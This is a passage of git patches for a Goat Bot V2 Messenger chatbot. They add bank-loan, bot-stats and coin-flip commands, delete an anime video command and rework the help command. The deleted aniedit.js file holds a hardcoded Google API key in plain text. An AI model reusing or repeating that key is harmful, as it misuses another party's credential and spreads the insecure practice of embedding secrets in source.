+fs.writeFileSync(bankDataPath, JSON.stringify(bankData), "utf8"); + + + return message.reply(`╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You have successfully taken a loan of $${amount}. Please note that loans must be repaid within a certain period 😉•\n\n╚════ஜ۩۞۩ஜ═══╝`); + +break; + +case "payloan": + const loanBalance = bankData[user].loan || 0; + + if (isNaN(amount) || amount <= 0) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Please enter a valid amount to repay your loan ✖️•\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + if (loanBalance <= 0) { + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You don't have any pending loan payments•\n\n✧⁺⸜(●˙▾˙●)⸝⁺✧ʸᵃʸ\n\n╚════ஜ۩۞۩ஜ═══╝"); + } + + if (amount > loanBalance) { + return message.reply(`╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏The amount required to pay off the loan is greater than your due amount. Please pay the exact amount 😊•\nYour total loan: $${loanBalance}\n\n╚════ஜ۩۞۩ஜ═══╝`); + } + + if (amount > userMoney) { + return message.reply(`╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏You do not have $${amount} in your balance to repay the loan 😢•\n\n╚════ஜ۩۞۩ஜ═══╝`); + } + + bankData[user].loan = loanBalance - amount; + + if (loanBalance - amount === 0) { + bankData[user].loanPayed = true; + } + + await usersData.set(event.senderID, { + money: userMoney - amount + }); + +fs.writeFileSync(bankDataPath, JSON.stringify(bankData), "utf8"); + + + return message.reply(`╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Successfully repaid $${amount} towards your loan. Your current loan to pay: $${bankData[user].loan} ✅•\n\n╚════ஜ۩۞۩ஜ═══╝`); + +break; + +default: + return message.reply("╔════ஜ۩۞۩ஜ═══╗\n\n[🏦 Bank 🏦]\n\n❏Please use one of the following valid commands: Deposit, Withdraw, Balance, Interest, Transfer, Richest, Loan, PayLoan\n\n╚════ஜ۩۞۩ஜ═══╝"); +} + } +}; + +// Function to format a number with full forms (e.g., 1 Thousand, 133 Million, 76.2 Billion) +function formatNumberWithFullForm(number) { + const fullForms = [ + "", + "Thousand", + "Million", + "Billion", + "Trillion", + "Quadrillion", + "Quintillion", + "Sextillion", + "Septillion", + "Octillion", + "Nonillion", + "Decillion", + "Undecillion", + "Duodecillion", + "Tredecillion", + "Quattuordecillion", + "Quindecillion", + "Sexdecillion", + "Septendecillion", + "Octodecillion", + "Novemdecillion", + "Vigintillion", + "Unvigintillion", + "Duovigintillion", + "Tresvigintillion", + "Quattuorvigintillion", + "Quinvigintillion", + "Sesvigintillion", + "Septemvigintillion", + "Octovigintillion", + "Novemvigintillion", + "Trigintillion", + "Untrigintillion", + "Duotrigintillion", + "Googol", + ]; + + // Calculate the full form of the number (e.g., Thousand, Million, Billion) + let fullFormIndex = 0; + while (number >= 1000 && fullFormIndex < fullForms.length - 1) { + number /= 1000; + fullFormIndex++; + } + + // Format the number with two digits after the decimal point + const formattedNumber = number.toFixed(2); + + // Add the full form to the formatted number + return `${formattedNumber} ${fullForms[fullFormIndex]}`; + } + From 4ddadec7bafa1012f6980c56ae69c4f8a2f27495 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 10:19:37 +0545 Subject: [PATCH 027/126] Delete scripts/cmds/aniedit.js --- scripts/cmds/aniedit.js | 118 ---------------------------------------- 1 file changed, 118 deletions(-) delete mode 100644 scripts/cmds/aniedit.js diff --git a/scripts/cmds/aniedit.js b/scripts/cmds/aniedit.js deleted file mode 100644 index 96e8fc9228..0000000000 --- a/scripts/cmds/aniedit.js +++ /dev/null @@ -1,118 +0,0 @@ -const axios = require("axios"); -const fs = require("fs-extra"); -const os = require("os"); -const yts = require("yt-search"); -const ytdl = require("@distube/ytdl-core"); - -module.exports = { - sentVideos: [], - - config: { - name: "aniedit", - version: "2.0", - role: 0, - author: "𝗞𝘀𝗵𝗶𝘁𝗶𝘇 & 𝗦𝗞𝗬", - cooldowns: 40, - shortDescription: "Fetch a random video from a YouTube playlist and send it", - longDescription: "", - category: "anime", - dependencies: { - "fs-extra": "", - "axios": "", - "ytdl-core": "", - "yt-search": "" - } - }, - onStart: async function ({ api, event, message }) { - try { - const senderID = event.senderID; - - const loadingMessage = await api.sendMessage("𝗟𝗼𝗮𝗱𝗶𝗻𝗴 𝗿𝗮𝗻𝗱𝗼𝗺 𝗮𝗻𝗶𝗺𝗲 𝘃𝗶𝗱𝗲𝗼..💫", event.threadID, null, event.messageID); - - const apiKey = "AIzaSyAO1tuGus4-S8RJID51f8WJAM7LXz1tVNc"; - const playlistId = "PLaPLzpOlr3JSGd0fFH1jpBeZ9-mMeUQ-P"; - - const playlistUrl = `https://www.googleapis.com/youtube/v3/playlistItems?key=${apiKey}&playlistId=${playlistId}&part=contentDetails&maxResults=50`; - const response = await axios.get(playlistUrl); - - const items = response.data.items; - const videoIds = items.map((item) => item.contentDetails.videoId); - - if (this.sentVideos.length === videoIds.length) { - this.sentVideos = []; - } - - const unwatchedVideoIds = videoIds.filter((videoId) => !this.sentVideos.includes(videoId)); - - if (unwatchedVideoIds.length === 0) { - api.unsendMessage(loadingMessage.messageID); - return api.sendMessage("No unwatched videos left.", event.threadID, null, event.messageID); - } - - const randomVideoId = unwatchedVideoIds[Math.floor(Math.random() * unwatchedVideoIds.length)]; - - this.sentVideos.push(randomVideoId); - - const videoDetailsUrl = `https://www.googleapis.com/youtube/v3/videos?key=${apiKey}&id=${randomVideoId}&part=snippet`; - const videoResponse = await axios.get(videoDetailsUrl); - - const videoInfo = videoResponse.data.items[0].snippet; - - const randomVideoTitle = videoInfo.title; - - const cacheFilePath = os.tmpdir() + "/randomVideoTitle.txt"; - fs.writeFileSync(cacheFilePath, randomVideoTitle); - - const searchResults = await yts(randomVideoTitle); - - if (!searchResults.videos.length) { - api.unsendMessage(loadingMessage.messageID); - return api.sendMessage("No video found based on the cached title.", event.threadID, null, event.messageID); - } - - const foundVideo = searchResults.videos[0]; - const videoUrl = foundVideo.url; - - const stream = ytdl(videoUrl, { filter: "audioandvideo" }); - const fileName = `${senderID}.mp4`; - const filePath = __dirname + `/cache/${fileName}`; - - stream.pipe(fs.createWriteStream(filePath)); - - stream.on('response', () => { - console.info('[DOWNLOADER]', 'Starting download now!'); - }); - - stream.on('info', (info) => { - console.info('[DOWNLOADER]', `Downloading video: ${info.videoDetails.title}`); - }); - - stream.on('end', () => { - console.info('[DOWNLOADER] Downloaded'); - - if (fs.statSync(filePath).size > 26214400) { - fs.unlinkSync(filePath); - - api.unsendMessage(loadingMessage.messageID); - return api.sendMessage('❌ | The file could not be sent because it is larger than 25MB.', event.threadID, null, event.messageID); - } - - const message = { - body: '📹 | 𝗛𝗲𝗿𝗲\'𝘀 𝘁𝗵𝗲 𝗿𝗮𝗻𝗱𝗼𝗺 𝗮𝗻𝗶𝗺𝗲 𝘃𝗶𝗱𝗲𝗼', - attachment: fs.createReadStream(filePath) - }; - - api.sendMessage(message, event.threadID, null, event.messageID, () => { - fs.unlinkSync(filePath); - }); - - setTimeout(() => { - api.unsendMessage(loadingMessage.messageID); - }, 10000); - }); - } catch (error) { - console.error('[ERROR]', error); - api.sendMessage('An error occurred while processing the command.', event.threadID, null, event.messageID); - } - }, -}; From 0f3ff7c3300a27d5ee8e5b42bd142fdc149031c3 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 10:27:26 +0545 Subject: [PATCH 028/126] Create botstats.js --- scripts/cmds/botstats.js | 55 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) create mode 100644 scripts/cmds/botstats.js diff --git a/scripts/cmds/botstats.js b/scripts/cmds/botstats.js new file mode 100644 index 0000000000..a0acb4618a --- /dev/null +++ b/scripts/cmds/botstats.js @@ -0,0 +1,55 @@ +const axios = require('axios'); +const moment = require('moment-timezone'); + +module.exports = { + config: { + name: 'botstats', + author: 'Jun', + countDown: 5, + role: 2, + category: 'tools', + shortDescription: { en: "" } + }, + + onStart: async function({ event, api, message, args, usersData, threadsData }) { + try { + const allUsers = await usersData.getAll(); + const allThreads = await threadsData.getAll(); + const uptime = process.uptime(); + + const hours = Math.floor(uptime / 3600); + const minutes = Math.floor((uptime % 3600) / 60); + const seconds = Math.floor(uptime % 60); + + const uptimeString = `${hours}:${minutes}:${seconds}`; + + const currentDate = moment().tz('Asia/Manila').format('YYYY-MM-DD'); + const currentTime = moment().tz('Asia/Manila').format('HH:mm:ss'); + + const output2 = `\nBOT STATS\n\nbot running: ${uptimeString}\ncurrent time: ${currentTime}\ncurrent date: ${currentDate}`; + + const response = await axios.get('https://api-test.yourboss12.repl.co/stats/hello'); + const data = response.data; + + const sortedData = data.sort((a, b) => b[Object.keys(b)[0]] - a[Object.keys(a)[0]]); + + let commandCount = 10; + if (args[0] && args[0].toLowerCase() === 'all') { + commandCount = data.length; + } + + const topCommands = sortedData.slice(0, commandCount); + + let output = `${output2}\ntotal users: ${allUsers.length}\ntotal threads: ${allThreads.length}\n\n\nTop ${commandCount} most spammed commands from 2023-08-14 to ${currentDate}\n\n`; + topCommands.forEach((command, index) => { + const commandName = Object.keys(command)[0]; + const commandCount = command[commandName]; + output += `${index + 1}. ${commandName}: ${commandCount}\n`; + }); + + api.sendMessage(output, event.threadID, event.messageID); + } catch (error) { + console.error(error); + } +} +}; From 4fc159779caa81c06c445b0e4f89d3e57a4826f8 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 10:30:41 +0545 Subject: [PATCH 029/126] Create coinflip.js --- scripts/cmds/coinflip.js | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 scripts/cmds/coinflip.js diff --git a/scripts/cmds/coinflip.js b/scripts/cmds/coinflip.js new file mode 100644 index 0000000000..e7a2b765af --- /dev/null +++ b/scripts/cmds/coinflip.js @@ -0,0 +1,34 @@ +const axios = require('axios'); +module.exports = { + config: { + name: "coinflip", + aliases: ["cf"], + version: "1.0", + author: "Loid Butter", + countDown: 5, + role: 0, + shortDescription: "Flip the coin", + longDescription: "Flip the coin", + category: "Other", + guide: { + en: "{pn}" + }, + }, + + onStart: async function ({ message, args, api, event }) { + const isFaceUp = Math.random() > 0.5; + let link, body; + if (isFaceUp) { + link = "https://i.ibb.co/xSsMRL9/image.png", "https://i.ibb.co/4Zf3M07/image.png", "https://i.ibb.co/PCKdPg6/image.png"; + body = "Face is up!"; + } else { + link = "https://i.ibb.co/FhMwzL9/image.png"; + body = "Face is down!"; + } + const msg = { + body: body, + attachment: await global.utils.getStreamFromURL(link) + }; + api.sendMessage(msg, event.threadID); + } +} From 74155f77b6e1cc3839e4d2d014be9133e265e6a1 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 10:55:40 +0545 Subject: [PATCH 030/126] Update help.js --- scripts/cmds/help.js | 594 ++++++++++++++++++------------------------- 1 file changed, 241 insertions(+), 353 deletions(-) diff --git a/scripts/cmds/help.js b/scripts/cmds/help.js index e4d3a8056c..458aba75ab 100644 --- a/scripts/cmds/help.js +++ b/scripts/cmds/help.js @@ -3,390 +3,278 @@ const axios = require("axios"); const path = require("path"); const { getPrefix } = global.utils; const { commands, aliases } = global.GoatBot; -const doNotDelete = "[ 🐐 | Goat Bot V2 ]"; -/** +const doNotDelete = "天 | GoatBot V2 |"; +/** * @author NTKhang * @author: do not delete it * @message if you delete or edit it you will get a global ban +* please don't ban me, your help.js is Modified */ module.exports = { - config: { - name: "help", - version: "1.20", - author: "NTKhang", - countDown: 5, - role: 0, - shortDescription: { - vi: "Xem cách dùng lệnh", - en: "View command usage" - }, - longDescription: { - vi: "Xem cách sử dụng của các lệnh", - en: "View command usage" - }, - category: "info", - guide: { - vi: " {pn} [để trống | | ]" - + "\n {pn} [-u | usage | -g | guide]: chỉ hiển thị phần hướng dẫn sử dụng lệnh" - + "\n {pn} [-i | info]: chỉ hiển thị phần thông tin về lệnh" - + "\n {pn} [-r | role]: chỉ hiển thị phần quyền hạn của lệnh" - + "\n {pn} [-a | alias]: chỉ hiển thị phần tên viết tắt của lệnh", - en: "{pn} [empty | | ]" - + "\n {pn} [-u | usage | -g | guide]: only show command usage" - + "\n {pn} [-i | info]: only show command info" - + "\n {pn} [-r | role]: only show command role" - + "\n {pn} [-a | alias]: only show command alias" - }, - priority: 1 - }, + config: { + name: "help", + version: "1.17", + author: "NTKhang", //Modified By Zedric + countDown: 5, + role: 0, + shortDescription: { + vi: "Xem cách dùng lệnh", + en: "View command usage" + }, + longDescription: { + vi: "Xem cách sử dụng của các lệnh", + en: "View command usage" + }, + category: "info", + guide: { + vi: " {pn} [để trống | | ]" + + "\n {pn} [-u | usage | -g | guide]: chỉ hiển thị phần hướng dẫn sử dụng lệnh" + + "\n {pn} [-i | info]: chỉ hiển thị phần thông tin về lệnh" + + "\n {pn} [-r | role]: chỉ hiển thị phần quyền hạn của lệnh" + + "\n {pn} [-a | alias]: chỉ hiển thị phần tên viết tắt của lệnh", + en: "{pn} [empty | | ]" + + "\n {pn} [-u | usage | -g | guide]: only show command usage" + + "\n {pn} [-i | info]: only show command info" + + "\n {pn} [-r | role]: only show command role" + + "\n {pn} [-a | alias]: only show command alias" + }, + priority: 1 + }, - langs: { - vi: { - help: "╭─────────────⭓" - + "\n%1" - + "\n├─────⭔" - + "\n│ Trang [ %2/%3 ]" - + "\n│ Hiện tại bot có %4 lệnh có thể sử dụng" - + "\n│ » Gõ %5help để xem danh sách các lệnh" - + "\n│ » Gõ %5help để xem chi tiết cách sử dụng lệnh đó" - + "\n├────────⭔" - + "\n│ %6" - + "\n╰─────────────⭓", - help2: "%1├───────⭔" - + "\n│ » Hiện tại bot có %2 lệnh có thể sử dụng" - + "\n│ » Gõ %3help để xem chi tiết cách sử dụng lệnh đó" - + "\n│ %4" - + "\n╰─────────────⭓", - commandNotFound: "Lệnh \"%1\" không tồn tại", - getInfoCommand: "╭── NAME ────⭓" - + "\n│ %1" - + "\n├── INFO" - + "\n│ Mô tả: %2" - + "\n│ Các tên gọi khác: %3" - + "\n│ Các tên gọi khác trong nhóm bạn: %4" - + "\n│ Version: %5" - + "\n│ Role: %6" - + "\n│ Thời gian mỗi lần dùng lệnh: %7s" - + "\n│ Author: %8" - + "\n├── USAGE" - + "\n│%9" - + "\n├── NOTES" - + "\n│ Nội dung bên trong là có thể thay đổi" - + "\n│ Nội dung bên trong [a|b|c] là a hoặc b hoặc c" - + "\n╰──────⭔", - onlyInfo: "╭── INFO ────⭓" - + "\n│ Tên lệnh: %1" - + "\n│ Mô tả: %2" - + "\n│ Các tên gọi khác: %3" - + "\n│ Các tên gọi khác trong nhóm bạn: %4" - + "\n│ Version: %5" - + "\n│ Role: %6" - + "\n│ Thời gian mỗi lần dùng lệnh: %7s" - + "\n│ Author: %8" - + "\n╰─────────────⭓", - onlyUsage: "╭── USAGE ────⭓" - + "\n│%1" - + "\n╰─────────────⭓", - onlyAlias: "╭── ALIAS ────⭓" - + "\n│ Các tên gọi khác: %1" - + "\n│ Các tên gọi khác trong nhóm bạn: %2" - + "\n╰─────────────⭓", - onlyRole: "╭── ROLE ────⭓" - + "\n│%1" - + "\n╰─────────────⭓", - doNotHave: "Không có", - roleText0: "0 (Tất cả người dùng)", - roleText1: "1 (Quản trị viên nhóm)", - roleText2: "2 (Admin bot)", - roleText0setRole: "0 (set role, tất cả người dùng)", - roleText1setRole: "1 (set role, quản trị viên nhóm)", - pageNotFound: "Trang %1 không tồn tại" - }, - en: { - help: "╭─────────────⭓" - + "\n%1" - + "\n├─────⭔" - + "\n│ Page [ %2/%3 ]" - + "\n│ Currently, the bot has %4 commands that can be used" - + "\n│ » Type %5help to view the command list" - + "\n│ » Type %5help to view the details of how to use that command" - + "\n├────────⭔" - + "\n│ %6" - + "\n╰─────────────⭓", - help2: "%1├───────⭔" - + "\n│ » Currently, the bot has %2 commands that can be used" - + "\n│ » Type %3help to view the details of how to use that command" - + "\n│ %4" - + "\n╰─────────────⭓", - commandNotFound: "Command \"%1\" does not exist", - getInfoCommand: "╭── NAME ────⭓" - + "\n│ %1" - + "\n├── INFO" - + "\n│ Description: %2" - + "\n│ Other names: %3" - + "\n│ Other names in your group: %4" - + "\n│ Version: %5" - + "\n│ Role: %6" - + "\n│ Time per command: %7s" - + "\n│ Author: %8" - + "\n├── USAGE" - + "\n│%9" - + "\n├── NOTES" - + "\n│ The content inside can be changed" - + "\n│ The content inside [a|b|c] is a or b or c" - + "\n╰──────⭔", - onlyInfo: "╭── INFO ────⭓" - + "\n│ Command name: %1" - + "\n│ Description: %2" - + "\n│ Other names: %3" - + "\n│ Other names in your group: %4" - + "\n│ Version: %5" - + "\n│ Role: %6" - + "\n│ Time per command: %7s" - + "\n│ Author: %8" - + "\n╰─────────────⭓", - onlyUsage: "╭── USAGE ────⭓" - + "\n│%1" - + "\n╰─────────────⭓", - onlyAlias: "╭── ALIAS ────⭓" - + "\n│ Other names: %1" - + "\n│ Other names in your group: %2" - + "\n╰─────────────⭓", - onlyRole: "╭── ROLE ────⭓" - + "\n│%1" - + "\n╰─────────────⭓", - doNotHave: "Do not have", - roleText0: "0 (All users)", - roleText1: "1 (Group administrators)", - roleText2: "2 (Admin bot)", - roleText0setRole: "0 (set role, all users)", - roleText1setRole: "1 (set role, group administrators)", - pageNotFound: "Page %1 does not exist" - } - }, + langs: { + vi: { + help: "╭─────────────⭓\n%1\n├─────⭔\n│ Trang [ %2/%3 ]\n│ Hiện tại bot có %4 lệnh có thể sử dụng\n│ » Gõ %5help để xem danh sách các lệnh\n│ » Gõ %5help để xem chi tiết cách sử dụng lệnh đó\n├────────⭔\n│ %6\n╰─────────────⭓", + help2: "%1├───────⭔\n│ » Hiện tại bot có %2 lệnh có thể sử dụng\n│ » Gõ %3help để xem chi tiết cách sử dụng lệnh đó\n│ %4\n╰─────────────⭓", + commandNotFound: "Lệnh \"%1\" không tồn tại", + getInfoCommand: "╭── NAME ────⭓\n│ %1\n├── INFO\n│ Mô tả: %2\n│ Các tên gọi khác: %3\n│ Các tên gọi khác trong nhóm bạn: %4\n│ Version: %5\n│ Role: %6\n│ Thời gian mỗi lần dùng lệnh: %7s\n│ Author: %8\n├── Usage\n│%9\n├── Notes\n│ Nội dung bên trong là có thể thay đổi\n│ Nội dung bên trong [a|b|c] là a hoặc b hoặc c\n╰──────⭔", + onlyInfo: "╭── INFO ────⭓\n│ Tên lệnh: %1\n│ Mô tả: %2\n│ Các tên gọi khác: %3\n│ Các tên gọi khác trong nhóm bạn: %4\n│ Version: %5\n│ Role: %6\n│ Thời gian mỗi lần dùng lệnh: %7s\n│ Author: %8\n╰─────────────⭓", + onlyUsage: "╭── USAGE ────⭓\n│%1\n╰─────────────⭓", + onlyAlias: "╭── ALIAS ────⭓\n│ Các tên gọi khác: %1\n│ Các tên gọi khác trong nhóm bạn: %2\n╰─────────────⭓", + onlyRole: "╭── ROLE ────⭓\n│%1\n╰─────────────⭓", + doNotHave: "Không có", + roleText0: "0 (Tất cả người dùng)", + roleText1: "1 (Quản trị viên nhóm)", + roleText2: "2 (Admin bot)", + roleText0setRole: "0 (set role, tất cả người dùng)", + roleText1setRole: "1 (set role, quản trị viên nhóm)", + pageNotFound: "Trang %1 không tồn tại" + }, + en: { + help: "🔴🟡🟢\n\n╔⏤⏤⏤╝❀╚⏤⏤⏤╗\n %6\n\n%1\n\nPage [ %2/%3 ]\nCurrently, The Bot has %4 Commands \n\n 📜 » Type %5help \n 📃 » Type %5help \n\n \n", + help2: "%1├───────⭔\n│ » Currently, the bot has %2 commands that can be used\n│ » Type %3help to view the details of how to use that command\n│ %4\n╰─────────────⭓", + commandNotFound: "My Lord, Command \"%1\" does not exist, My Apologies 😓", + getInfoCommand: "╭── NAME ────⭓\n│ %1\n├── INFO\n│ Description: %2\n│ Other names: %3\n│ Other names in your group: %4\n│ Version: %5\n│ Role: %6\n│ Time per command: %7s\n│ Author: %8\n├── Usage\n%9\n├── Notes\n│ The content inside can be changed\n│ The content inside [a|b|c] is a or b or c\n╰──────⭔", + onlyInfo: "╭── INFO ────⭓\n│ Command name: %1\n│ Description: %2\n│ Other names: %3\n│ Other names in your group: %4\n│ Version: %5\n│ Role: %6\n│ Time per command: %7s\n│ Author: %8\n╰─────────────⭓", + onlyUsage: "╭── USAGE ────⭓\n│%1\n╰─────────────⭓", + onlyAlias: "╭── ALIAS ────⭓\n│ Other names: %1\n│ Other names in your group: %2\n╰─────────────⭓", + onlyRole: "╭── ROLE ────⭓\n│%1\n╰─────────────⭓", + doNotHave: "Do not have", + roleText0: "0 (All users)", + roleText1: "1 (Group administrators)", + roleText2: "2 (Admin bot)", + roleText0setRole: "0 (set role, all users)", + roleText1setRole: "1 (set role, group administrators)", + pageNotFound: "Page %1 does not exist" + } + }, - onStart: async function ({ message, args, event, threadsData, getLang, role, globalData }) { - const langCode = await threadsData.get(event.threadID, "data.lang") || global.GoatBot.config.language; - let customLang = {}; - const pathCustomLang = path.normalize(`${process.cwd()}/languages/cmds/${langCode}.js`); - if (fs.existsSync(pathCustomLang)) - customLang = require(pathCustomLang); + onStart: async function ({ message, args, event, threadsData, getLang, role }) { + const langCode = await threadsData.get(event.threadID, "data.lang") || global.GoatBot.config.language; + let customLang = {}; + const pathCustomLang = path.normalize(`${process.cwd()}/languages/cmds/${langCode}.js`); + if (fs.existsSync(pathCustomLang)) + customLang = require(pathCustomLang); - const { threadID } = event; - const threadData = await threadsData.get(threadID); - const prefix = getPrefix(threadID); - let sortHelp = threadData.settings.sortHelp || "name"; - if (!["category", "name"].includes(sortHelp)) - sortHelp = "name"; - const commandName = (args[0] || "").toLowerCase(); - let command = commands.get(commandName) || commands.get(aliases.get(commandName)); - const aliasesData = threadData.data.aliases || { - // uid: ["userid", "id"] - }; - if (!command) { - for (const cmdName in aliasesData) { - if (aliasesData[cmdName].includes(commandName)) { - command = commands.get(cmdName); - break; - } - } - } + const { threadID } = event; + const threadData = await threadsData.get(threadID); + const prefix = getPrefix(threadID); + let sortHelp = threadData.settings.sortHelp || "name"; + if (!["category", "name"].includes(sortHelp)) + sortHelp = "name"; + const commandName = (args[0] || "").toLowerCase(); + const command = commands.get(commandName) || commands.get(aliases.get(commandName)); - if (!command) { - const globalAliasesData = await globalData.get('setalias', 'data', []); - // [{ - // commandName: "uid", - // aliases: ["uid", "id] - // }] - for (const item of globalAliasesData) { - if (item.aliases.includes(commandName)) { - command = commands.get(item.commandName); - break; - } - } - } + // ———————————————— LIST ALL COMMAND ——————————————— // + if (!command && !args[0] || !isNaN(args[0])) { + const arrayInfo = []; + let msg = ""; + if (sortHelp == "name") { + const page = parseInt(args[0]) || 1; + const numberOfOnePage = 999; + for (const [name, value] of commands) { + if (value.config.role > 1 && role < value.config.role) + continue; + let describe = name; + let shortDescription; + const shortDescriptionCustomLang = customLang[name]?.shortDescription; + if (shortDescriptionCustomLang != undefined) + shortDescription = checkLangObject(shortDescriptionCustomLang, langCode); + else if (value.config.shortDescription) + shortDescription = checkLangObject(value.config.shortDescription, langCode); + if (shortDescription) + describe += `: ${cropContent(shortDescription.charAt(0).toUpperCase() + shortDescription.slice(1))}`; + arrayInfo.push({ + data: describe, + priority: value.priority || 0 + }); + } - // ———————————————— LIST ALL COMMAND ——————————————— // - if (!command && !args[0] || !isNaN(args[0])) { - const arrayInfo = []; - let msg = ""; - if (sortHelp == "name") { - const page = parseInt(args[0]) || 1; - const numberOfOnePage = 30; - for (const [name, value] of commands) { - if (value.config.role > 1 && role < value.config.role) - continue; - let describe = name; - let shortDescription; - const shortDescriptionCustomLang = customLang[name]?.shortDescription; - if (shortDescriptionCustomLang != undefined) - shortDescription = checkLangObject(shortDescriptionCustomLang, langCode); - else if (value.config.shortDescription) - shortDescription = checkLangObject(value.config.shortDescription, langCode); - if (shortDescription) - describe += `: ${cropContent(shortDescription.charAt(0).toUpperCase() + shortDescription.slice(1))}`; - arrayInfo.push({ - data: describe, - priority: value.priority || 0 - }); - } + arrayInfo.sort((a, b) => a.data - b.data); // sort by name + arrayInfo.sort((a, b) => a.priority > b.priority ? -1 : 1); // sort by priority + const { allPage, totalPage } = global.utils.splitPage(arrayInfo, numberOfOnePage); + if (page < 1 || page > totalPage) + return message.reply(getLang("pageNotFound", page)); - arrayInfo.sort((a, b) => a.data - b.data); // sort by name - arrayInfo.sort((a, b) => a.priority > b.priority ? -1 : 1); // sort by priority - const { allPage, totalPage } = global.utils.splitPage(arrayInfo, numberOfOnePage); - if (page < 1 || page > totalPage) - return message.reply(getLang("pageNotFound", page)); + const returnArray = allPage[page - 1] || []; + const startNumber = (page - 1) * numberOfOnePage + 1; + msg += (returnArray || []).reduce((text, item, index) => text += `天 ${index + startNumber}${index + startNumber < 10 ? " " : ""}. ${item.data}\n`, '').slice(0, -1); + await message.reply(getLang("help", msg, page, totalPage, commands.size, prefix, doNotDelete)); + } + else if (sortHelp == "category") { + for (const [, value] of commands) { + if (value.config.role > 1 && role < value.config.role) + continue; // if role of command > role of user => skip + const indexCategory = arrayInfo.findIndex(item => (item.category || "NO CATEGORY") == (value.config.category?.toLowerCase() || "NO CATEGORY")); - const returnArray = allPage[page - 1] || []; - const startNumber = (page - 1) * numberOfOnePage + 1; - msg += (returnArray || []).reduce((text, item, index) => text += `│ ${index + startNumber}${index + startNumber < 10 ? " " : ""}. ${item.data}\n`, '').slice(0, -1); - await message.reply(getLang("help", msg, page, totalPage, commands.size, prefix, doNotDelete)); - } - else if (sortHelp == "category") { - for (const [, value] of commands) { - if (value.config.role > 1 && role < value.config.role) - continue; // if role of command > role of user => skip - const indexCategory = arrayInfo.findIndex(item => (item.category || "NO CATEGORY") == (value.config.category?.toLowerCase() || "NO CATEGORY")); + if (indexCategory != -1) + arrayInfo[indexCategory].names.push(value.config.name); + else + arrayInfo.push({ + category: value.config.category.toLowerCase(), + names: [value.config.name] + }); + } + arrayInfo.sort((a, b) => (a.category < b.category ? -1 : 1)); + arrayInfo.forEach((data, index) => { + const categoryUpcase = `${index == 0 ? `╭` : `├`}─── ${data.category.toUpperCase()} ${index == 0 ? "⭓" : "⭔"}`; + data.names = data.names.sort().map(item => item = `│ ${item}`); + msg += `${categoryUpcase}\n${data.names.join("\n")}\n`; + }); + message.reply(getLang("help2", msg, commands.size, prefix, doNotDelete)); + } + } + // ———————————— COMMAND DOES NOT EXIST ———————————— // + else if (!command && args[0]) { + return message.reply(getLang("commandNotFound", args[0])); + } + // ————————————————— INFO COMMAND ————————————————— // + else { + const formSendMessage = {}; + const configCommand = command.config; - if (indexCategory != -1) - arrayInfo[indexCategory].names.push(value.config.name); - else - arrayInfo.push({ - category: value.config.category.toLowerCase(), - names: [value.config.name] - }); - } - arrayInfo.sort((a, b) => (a.category < b.category ? -1 : 1)); - arrayInfo.forEach((data, index) => { - const categoryUpcase = `${index == 0 ? `╭` : `├`}─── ${data.category.toUpperCase()} ${index == 0 ? "⭓" : "⭔"}`; - data.names = data.names.sort().map(item => item = `│ ${item}`); - msg += `${categoryUpcase}\n${data.names.join("\n")}\n`; - }); - message.reply(getLang("help2", msg, commands.size, prefix, doNotDelete)); - } - } - // ———————————— COMMAND DOES NOT EXIST ———————————— // - else if (!command && args[0]) { - return message.reply(getLang("commandNotFound", args[0])); - } - // ————————————————— INFO COMMAND ————————————————— // - else { - const formSendMessage = {}; - const configCommand = command.config; + let guide = configCommand.guide?.[langCode] || configCommand.guide?.["en"]; + if (guide == undefined) + guide = customLang[configCommand.name]?.guide?.[langCode] || customLang[configCommand.name]?.guide?.["en"]; - let guide = configCommand.guide?.[langCode] || configCommand.guide?.["en"]; - if (guide == undefined) - guide = customLang[configCommand.name]?.guide?.[langCode] || customLang[configCommand.name]?.guide?.["en"]; + guide = guide || { + body: "" + }; + if (typeof guide == "string") + guide = { body: guide }; + const guideBody = guide.body + .replace(/\{prefix\}|\{p\}/g, prefix) + .replace(/\{name\}|\{n\}/g, configCommand.name) + .replace(/\{pn\}/g, prefix + configCommand.name); - guide = guide || { - body: "" - }; - if (typeof guide == "string") - guide = { body: guide }; - const guideBody = guide.body - .replace(/\{prefix\}|\{p\}/g, prefix) - .replace(/\{name\}|\{n\}/g, configCommand.name) - .replace(/\{pn\}/g, prefix + configCommand.name); + const aliasesString = configCommand.aliases ? configCommand.aliases.join(", ") : getLang("doNotHave"); + const aliasesThisGroup = threadData.data.aliases ? (threadData.data.aliases[configCommand.name] || []).join(", ") : getLang("doNotHave"); - const aliasesString = configCommand.aliases ? configCommand.aliases.join(", ") : getLang("doNotHave"); - const aliasesThisGroup = threadData.data.aliases ? (threadData.data.aliases[configCommand.name] || []).join(", ") : getLang("doNotHave"); + let roleOfCommand = configCommand.role; + let roleIsSet = false; + if (threadData.data.setRole?.[configCommand.name]) { + roleOfCommand = threadData.data.setRole[configCommand.name]; + roleIsSet = true; + } - let roleOfCommand = configCommand.role; - let roleIsSet = false; - if (threadData.data.setRole?.[configCommand.name]) { - roleOfCommand = threadData.data.setRole[configCommand.name]; - roleIsSet = true; - } + const roleText = roleOfCommand == 0 ? + (roleIsSet ? getLang("roleText0setRole") : getLang("roleText0")) : + roleOfCommand == 1 ? + (roleIsSet ? getLang("roleText1setRole") : getLang("roleText1")) : + getLang("roleText2"); - const roleText = roleOfCommand == 0 ? - (roleIsSet ? getLang("roleText0setRole") : 